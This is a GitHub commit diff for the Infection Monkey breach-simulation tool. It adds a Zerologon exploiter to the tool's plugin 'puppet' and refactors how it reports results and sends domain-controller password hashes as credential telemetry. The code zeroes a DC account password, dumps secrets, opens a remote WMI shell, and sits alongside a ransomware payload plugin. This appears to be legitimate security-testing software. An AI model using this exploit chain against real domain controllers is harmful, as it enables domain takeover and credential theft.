Merge pull request #1773 from guardicore/1737-add-zerologon-to-puppet

1737 add zerologon to puppet
This commit is contained in:
Mike Salvatore 2022-03-11 08:53:12 -05:00 committed by GitHub
commit 453dc21074
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
12 changed files with 63 additions and 57 deletions

View File

@ -1,5 +1,6 @@
import logging
import threading
from functools import wraps
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
@ -24,11 +25,13 @@ class AccessDeniedException(Exception):
class WmiTools(object):
@staticmethod
def impacket_user(func):
@wraps(func)
def _wrapper(*args, **kwarg):
logger.debug("Waiting for impacket lock")
with lock:
logger.debug("Acquired impacket lock")
return func(*args, **kwarg)
return _wrapper
@ -61,9 +64,12 @@ class WmiTools(object):
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
)
except Exception as exc:
dcom.disconnect()
try:
dcom.disconnect()
except KeyError:
logger.exception("Disconnecting the DCOMConnection failed")
if "rpc_s_access_denied" == exc:
if "rpc_s_access_denied" == exc.error_string:
raise AccessDeniedException(host, username, password, domain)
raise
@ -91,10 +97,13 @@ class WmiTools(object):
@staticmethod
def dcom_wrap(func):
@wraps(func)
def _wrapper(*args, **kwarg):
try:
logger.debug("Running function from dcom_wrap")
return func(*args, **kwarg)
finally:
logger.debug("Running dcom cleanup")
WmiTools.dcom_cleanup()
return _wrapper

View File

@ -16,11 +16,16 @@ from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport
from impacket.dcerpc.v5.dtypes import NULL
from common.utils.exploit_enum import ExploitType
from infection_monkey.credential_collectors import LMHash, NTHash, Username
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.wmi_tools import WmiTools
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump
from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_details, is_exploitable
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.i_puppet.credential_collection import Credentials
from infection_monkey.telemetry.credentials_telem import CredentialsTelem
from infection_monkey.utils.capture_output import StdoutCapture
logger = logging.getLogger(__name__)
@ -34,9 +39,8 @@ class ZerologonExploiter(HostExploiter):
MAX_ATTEMPTS = 2000 # For 2000, expected average number of attempts needed: 256.
ERROR_CODE_ACCESS_DENIED = 0xC0000022
def __init__(self, host: object):
super().__init__(host)
self.exploit_info["credentials"] = {}
def __init__(self):
super().__init__()
self.exploit_info["password_restored"] = None
self._extracted_creds = {}
self._secrets_dir = tempfile.TemporaryDirectory(prefix="zerologon")
@ -44,11 +48,13 @@ class ZerologonExploiter(HostExploiter):
def __del__(self):
self._secrets_dir.cleanup()
def _exploit_host(self) -> bool:
@WmiTools.impacket_user
def _exploit_host(self) -> ExploiterResultData:
self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host)
can_exploit, rpc_con = is_exploitable(self)
if can_exploit:
self.exploit_result.exploitation_success = True
logger.info("Target vulnerable, changing account password to empty string.")
# Start exploiting attempts.
@ -62,10 +68,12 @@ class ZerologonExploiter(HostExploiter):
"Exploit not attempted. Target is most likely patched, or an error was "
"encountered."
)
return False
return self.exploit_result
# Restore DC's original password.
if _exploited:
self.exploit_result.propagation_success = False
self.exploit_result.exploitation_success = _exploited
if self.restore_password():
self.exploit_info["password_restored"] = True
self.store_extracted_creds_for_exploitation()
@ -76,7 +84,7 @@ class ZerologonExploiter(HostExploiter):
else:
logger.info("System was not exploited.")
return _exploited
return self.exploit_result
@staticmethod
def connect_to_dc(dc_ip) -> object:
@ -264,42 +272,19 @@ class ZerologonExploiter(HostExploiter):
def store_extracted_creds_for_exploitation(self) -> None:
for user in self._extracted_creds.keys():
self.add_extracted_creds_to_exploit_info(
user,
self._extracted_creds[user]["lm_hash"],
self._extracted_creds[user]["nt_hash"],
)
self.add_extracted_creds_to_monkey_config(
self.send_extracted_creds_as_credential_telemetry(
user,
self._extracted_creds[user]["lm_hash"],
self._extracted_creds[user]["nt_hash"],
)
def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None:
# TODO exploit_info["credentials"] is discontinued,
# refactor to send a credential telemetry
self.exploit_info["credentials"].update(
{
user: {
"username": user,
"password": "",
"lm_hash": lmhash,
"ntlm_hash": nthash,
}
}
def send_extracted_creds_as_credential_telemetry(
self, user: str, lmhash: str, nthash: str
) -> None:
self.telemetry_messenger.send_telemetry(
CredentialsTelem([Credentials([Username(user)], [LMHash(lmhash), NTHash(nthash)])])
)
# so other exploiters can use these creds
def add_extracted_creds_to_monkey_config(self, user: str, lmhash: str, nthash: str) -> None:
if user not in self._config.exploit_user_list:
self._config.exploit_user_list.append(user)
if lmhash not in self._config.exploit_lm_hash_list:
self._config.exploit_lm_hash_list.append(lmhash)
if nthash not in self._config.exploit_ntlm_hash_list:
self._config.exploit_ntlm_hash_list.append(nthash)
def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> str:
if not self.save_HKLM_keys_locally(username, user_pwd_hashes):
return
@ -329,12 +314,7 @@ class ZerologonExploiter(HostExploiter):
self.remove_locally_saved_HKLM_keys()
def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool:
logger.info(
f"Starting remote shell on victim with credentials:\n"
f"user: {username}\n"
f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : "
f"{self._config.hash_sensitive_data(user_pwd_hashes[1])}"
)
logger.info(f"Starting remote shell on victim with user: {username}")
wmiexec = Wmiexec(
ip=self.dc_ip,

View File

@ -56,6 +56,7 @@ from impacket.examples.secretsdump import (
)
from impacket.smbconnection import SMBConnection
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from infection_monkey.utils.capture_output import StdoutCapture
logger = logging.getLogger(__name__)
@ -96,7 +97,9 @@ class DumpSecrets:
self.__lmhash, self.__nthash = options.hashes.split(":")
def connect(self):
self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host)
self.__smb_connection = SMBConnection(
self.__remote_name, self.__remote_host, timeout=LONG_REQUEST_TIMEOUT
)
self.__smb_connection.login(
self.__username,
self.__password,

View File

@ -71,6 +71,7 @@ class RemoteShell(cmd.Cmd):
self.__secrets_dir = secrets_dir
# We don't wanna deal with timeouts from now on.
# TODO are we sure we don't need timeout anymore?
if self.__transferClient is not None:
self.__transferClient.setTimeout(100000)
self.do_cd("\\")

View File

@ -51,6 +51,7 @@ from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
from impacket.smbconnection import SMBConnection
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell
logger = logging.getLogger(__name__)
@ -74,7 +75,7 @@ class Wmiexec:
self.shell = None
def connect(self):
self.smbConnection = SMBConnection(self.__ip, self.__ip)
self.smbConnection = SMBConnection(self.__ip, self.__ip, timeout=LONG_REQUEST_TIMEOUT)
self.smbConnection.login(
user=self.__username,
password=self.__password,

View File

@ -20,6 +20,7 @@ from infection_monkey.exploit.hadoop import HadoopExploiter
from infection_monkey.exploit.log4shell import Log4ShellExploiter
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.exploit.wmiexec import WmiExploiter
from infection_monkey.exploit.zerologon import ZerologonExploiter
from infection_monkey.i_puppet import IPuppet, PluginType
from infection_monkey.master import AutomatedMaster
from infection_monkey.master.control_channel import ControlChannel
@ -221,6 +222,11 @@ class InfectionMonkey:
)
puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER)
puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER)
puppet.load_plugin(
"ZerologonExploiter",
exploit_wrapper.wrap(ZerologonExploiter),
PluginType.EXPLOITER,
)
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)

View File

@ -128,8 +128,14 @@ class NodeService:
def get_node_group(node) -> str:
if "group" in node and node["group"]:
return node["group"]
node_type = "exploited" if node.get("exploited") else "clean"
if node.get("propagated"):
node_type = "propagated"
else:
node_type = "clean"
node_os = NodeService.get_node_os(node)
return NodeStates.get_by_keywords([node_type, node_os]).value
@staticmethod
@ -164,10 +170,6 @@ class NodeService:
"os": NodeService.get_node_os(node),
}
@staticmethod
def set_node_group(node_id: str, node_group: NodeStates):
mongo.db.node.update({"_id": node_id}, {"$set": {"group": node_group.value}}, upsert=False)
@staticmethod
def unset_all_monkey_tunnels(monkey_id):
mongo.db.monkey.update({"_id": monkey_id}, {"$unset": {"tunnel": ""}}, upsert=False)
@ -202,6 +204,7 @@ class NodeService:
"ip_addresses": [ip_address],
"domain_name": domain_name,
"exploited": False,
"propagated": False,
"os": {"type": "unknown", "version": "unknown"},
}
)
@ -288,6 +291,10 @@ class NodeService:
def set_node_exploited(node_id):
mongo.db.node.update({"_id": node_id}, {"$set": {"exploited": True}})
@staticmethod
def set_node_propagated(node_id):
mongo.db.node.update({"_id": node_id}, {"$set": {"propagated": True}})
@staticmethod
def update_dead_monkeys():
# Update dead monkeys only if no living monkey transmitted keepalive in the last 10 minutes

View File

@ -52,6 +52,8 @@ def update_network_with_exploit(edge: EdgeService, telemetry_json):
edge.update_based_on_exploit(new_exploit)
if new_exploit["exploitation_result"]:
NodeService.set_node_exploited(edge.dst_node_id)
if new_exploit["propagation_result"]:
NodeService.set_node_propagated(edge.dst_node_id)
def encrypt_exploit_creds(telemetry_json):

View File

@ -9,8 +9,8 @@ class NodeStates(Enum):
CLEAN_UNKNOWN = "clean_unknown"
CLEAN_LINUX = "clean_linux"
CLEAN_WINDOWS = "clean_windows"
EXPLOITED_LINUX = "exploited_linux"
EXPLOITED_WINDOWS = "exploited_windows"
PROPAGATED_LINUX = "propagated_linux"
PROPAGATED_WINDOWS = "propagated_windows"
ISLAND = "island"
ISLAND_MONKEY_LINUX = "island_monkey_linux"
ISLAND_MONKEY_LINUX_RUNNING = "island_monkey_linux_running"

View File

Before

Width:  |  Height:  |  Size: 4.1 KiB

After

Width:  |  Height:  |  Size: 4.1 KiB

View File

Before

Width:  |  Height:  |  Size: 3.3 KiB

After

Width:  |  Height:  |  Size: 3.3 KiB

View File

@ -1,7 +1,5 @@
import pytest
from infection_monkey.model.host import VictimHost
DOMAIN_NAME = "domain-name"
IP = "0.0.0.0"
NETBIOS_NAME = "NetBIOS Name"
@ -19,8 +17,7 @@ def zerologon_exploiter_object(monkeypatch):
def mock_report_login_attempt(**kwargs):
return None
host = VictimHost(IP, DOMAIN_NAME)
obj = ZerologonExploiter(host)
obj = ZerologonExploiter()
monkeypatch.setattr(obj, "dc_name", NETBIOS_NAME, raising=False)
monkeypatch.setattr(obj, "report_login_attempt", mock_report_login_attempt)
return obj